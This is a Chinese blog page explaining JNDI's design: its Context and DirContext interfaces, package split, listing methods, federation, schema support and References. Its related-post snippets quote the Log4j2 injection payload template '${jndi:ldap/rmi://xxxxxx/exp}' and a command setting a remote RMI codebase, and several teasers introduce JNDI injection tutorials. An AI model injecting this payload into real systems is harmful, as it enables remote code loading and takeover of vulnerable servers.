JNDI设计内幕

权益双重加码!AI工具免费用+限时加赠 购周边限时加赠Coding Plan Lite,20+主流AI编程工具畅享,进阶之路更顺畅! 阅读详情
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script> 1 将接口分为Context 和 DirContext   JNDI有两个核心接口Context和DirContext,Context中包含了基本的名字操作,而DirContext则将这些操作扩展到目录服务。将这些操作分为两个包一方面为了模块化,另一方面也可以使服务减少不必要的开销。名字是计算服务中的一个基本功能,使用基本的名字服务就可以获得文件系统、电子表格、日历服务等功能;DirContext 对Context进行了扩展,提供了基本的目录服务操作,对名字对象属性的维护、基于属性的名字查找等等。   2 将JNDI 分成多个功能包   JNDI 分为两个客户端包(javax.naming,javax.naming.directory) 和一个服务端包 (javax.naming.spi)。这样做也同样是为了减少应用程序不必要的开销,使得应用程序只需要包括所必须的包。   3 将客户端API 和 服务端的API 分开   JNDI 将客户端接口与服务提供商需要的接口分开为不同的包。比如,客户端程序只需要使用javax.naming包中提供的类,而服务提供商可能需要javax.naming和javax.naming.spi两中包。这样分开可以使客户和服务器端只专注于与自身有关的类信息。   4 上下文列表的多种方法   一般来说有两种进行上下文列表的应用:上下文浏览应用和对上下文中的对象进行实际操作的应用。   上下文浏览应用一般只需要显示上下文中包含内容的名字,或者再获取一些诸如对象的类型之类的信息。这种类型的应用一般都是交互式的,可以允许用户在列举的上下文列表中选择一些进行进一步的显示。   另外有一些应用需要对上下文中的对象进行实际的操作,比如,一个备份程序需要对目录中所有文件的状态进行操作,或者某打印机管理员可能需要对大楼中的所有打印机进行复位。为了进行这样的操作,程序需要获取上下文中的实际对象。   对于这样两种类型的应用,Context接口提供了两种上下文列表方法list()和listBindings()。其中list()只返回一系列名字/类映射,而listBindings() 则返回名字、类和对象本身。显然list()用于上下文浏览应用而listBindings()用于那些需要对对象进行实际操作的应用。   5 对联合的支持 联合是JNDI的一个基本概念,在客户端接口中可以支持跨越多个名字空间的名字,调用名字接口的程序不需要知道细节问题,只需要指定有关的名字,有关在几个名字系统中如何解析复合名字的问题留给服务提供商来解决,与客户无关。  6 DirContext 与 DirObject   对于目录服务的实现来说,如果不用扩展Context的DirContext接口,也可以使用一个单独的包含了所有目录相关方法的接口如DirObject,这样的话如果应用只使用目录服务就可以只包括DirObject,而如果名字服务和目录服务都使用,则可以包括Context和DirObject。这样当然条理比较清晰,但是对于某些混合操作,比如一些对目录和名字都有效的操作就不太方便了,所以JNDI采用了DirContext而不是DirObject。   7 Schema的支持   DirContext接口包含对schema的支持,例如,客户可以通过DirContext对象获得指向该DirContext实例的schema的定义空间的schema对象,或者获取该schema对象的类定义。Attribute类还更进一步地支持获取属性类型信息、属性定义等的方法。服务提供商既可以动态地返回这些schema信息,也可以静态地事先准备好有关的schema信息。  8 Context 和 DirContext   接口中的方法重载 在Context和DirContext接口中的每个接受Name参数的方法都有一个接受字符串参数的同名方法。 设计以字符串为参数的方法的原因是由于有很多应用只通过对象的名字来访问这些对象,对于这些应用来说,直接使用名字来访问这些方法当然是最直观的。   而设计以Name类对象为参数的方法的动机,也是由于有不少对名字进行维护的应用并不关系名字的字面表达,所以需要以Name对象作为参数。 在JNDI中这两种形式的方法都可以调用,以方便各种不同的应用。   9 引用   JNDI包容了多种使用目录来定位对象的方法,例如,一些应用直接将对象自身绑定在目录中;一些应用可能动态地产生目录树,当应用退出时就删去该树;另外一些应用可能只是将指向对象的URL存贮在名字空间里;还有一些系统可能将一些引用信息绑定到树中,当使用时再用这些信息来访问实际的对象。    针对这些不同的方式,JNDI定义了一个Reference类来为应用信息的表达提供一种统一的方式。Reference类包含了诸如地址、类型信息等用于访问具体对象的信息。为了能将对象的引用绑定到目录树中,该对象的类必须实现Referenceable接口,其中包含了方法 getReference() 。 Serializable接口与Referenceable接口有颇多相似之处,不同在于可引用的对象只包含一些用于创建实际对象的信息而Serializable会包含更多的甚至不适合存储在目录结构中的信息。   10 引用到实际对象的自动定位 对于作为引用绑定在目录树中的对象,JNDI SPI 指定针对引用创建实际的对象。因此,在程序中只需要认为用lookup()方法返回的对象就是实际对象,而不用在调用什么方法来将引用转换为实际对象了,所有的工作都由JNDI内部完成了。
java安全入门(四)——JNDI入门指北 前言 log4j2 宛如过年一般,趁此机会对没理清的 JNDI 协议仔细再捋一捋 log4j的payload很好记:${jndi:ldap/rmi://xxxxxx/exp} 那么,我们就需要研究一下是怎么来的。 首先来看rpc RPC RPC即 Remote Procedure Call(远程过程调用),==是一种技术思想而并非一种规范的协议==,是一种通过网络从远程计算机请求服务的过程。 常见 RPC 技术和框架有: 应用级的服务框架:阿里的 Dubbo/Dubbox、Google 阅读详情

相关推荐

实现JNDI

Smart Software Developer Ltd.想要开发一款Web应用程序,它使用servlt基于雇员ID显示雇员信息,雇员ID由用户通过HTML用户界面传递。雇员详细信息存储在Employee_Master表中。另外,Web应用程序应显示网站被访问的次数。

RZer的博客 854

从实例看JNDI设计

NULL 博文链接:https://ginge.iteye.com/blog/311296

【Java代码审计】JNDI注入篇

JNDI (Java Naming and Directory Interface )是 Java 提供的 Java 命名和目录接口。通过调用 JNDIAPI 可以定位资源和其他程序对象。JNDI 是 Java EE 的重要部分,JNDI 可访问的现有的目录及服务有:JDBC、LDAP、RMI、DNS、NIS、CORBA为了在命名服务或目录服务中绑定 Java 对象,可以使用 Java 序列化来传输对象,但有时候不太合适,比如 Java 对象较大的情况。

大河之犬的博客 5281

JNDI DirContextSource:JNDI DirContext源构建器实用程序-开源

JNDI DirContext工厂的工作原理非常类似于JDBC DataSource,返回了现成的DirContext对象。

Java安全(九) JNDI

JNDI基本知识及利用

WDWAGAAFGAGDADSA的博客 2788

JNDI注入-RMI和Reference

之前观察到initialContext.lookup()方法时,最终会调用到registry.lookup()。bind和rebind也是一样的。所以远程RMI有的攻击点,这里也是有的就是本节讲的Reference的攻击点。了构造函数里面,就在执行= null)?实例化Test类时,弹计算器。

727

一文搞清rmi,jndireference,ldap

本文在编写代码的角度并不是很严谨,但是从安全利用角度对于理解他们之间的关系很有帮助。 单纯的rmi获取类首先通过本地CLASSPATH,java.class.path等加载class,若无则通过codebase加载远程地址(http、ftp。。) 通过如下命令设置codebase地址 java -Djava.rmi.server.useCodebaseOnly=false - Djava.rmi.server.codebase=http://example.com/ RMIClient //RMIServe

superprintf的博客 1149

JNDI用法详解

JNDI全称(Java Naming and Directory Interface),是java命名和目录接口。它是一个应用程序设计API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口,类似JDBC都是构建在抽象层上。 1、命名的概念与应用 JNDI中的命名(Naming),就是将Java对象以某个名称的形式绑定(binding)到一个容器环境(Context)中,以后调用容器环境到JNDI容器环境(Context)的查找(lookup)方法又可以查找出某个名称所绑定的Java.

li_w_ch的博客 8669

Java目录树控件

java 实现系统目录树结构,显示文件夹下的文件。树结构

JNDI注入

学习JNDI注入原理,分析流程

Bloyet 1312

JNDI介绍(详解,什么是JNDI)

 JNDI介绍(详解,什么是JNDI)连数据库时有用的,Java Naming and Directory InterfaceJNDI(Java Naming and Directory Interface)是一个应用程序设计API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口,类似JDBC都是构建在抽象层上。JNDI可访问的现有的目录及服务有:DNS、XNam 、Nove

首席技术执行官CTO(Chief Technology Officer)|技术总监--邓斌博客 2646

JNDI

1.什么是JNDI? JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JBDI服务和目录之间进行接口(SPI)的实现,有管理者将JNDI API映射为特定的命名入伍和目录系统,是的Java应用程序可以和这些命名服务和目录服务之间进行交

YDCookie的博客 377

第28章 Spring框架内的JNDI支持

本章内容JNDI简单回顾Spring框架内JNDI访问的基石——JndiTemplateJNDI对象的依赖注入——JndiObjectFactoryBean。

hello world 11万+

JNDI 简介

一、JNDI 是什么 JNDI是 Java 命名与目录接口(Java Naming and Directory Interface),在J2EE规范中是重要的规范之一,不少专家认为,没有透彻理解JNDI的意义和作用,就没有真正掌握J2EE特别是EJB的知识。 JNDI(JavaNaming and Directory Interface)是一个应用程序设计API,为开发人员提供了查找和访问各种...

TrustNature 728
上一篇: JSP国外优秀站点
下一篇: Java面向对象编程指南(电子工业出版社)
java169
博客等级 码龄18年 27粉丝 2568原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值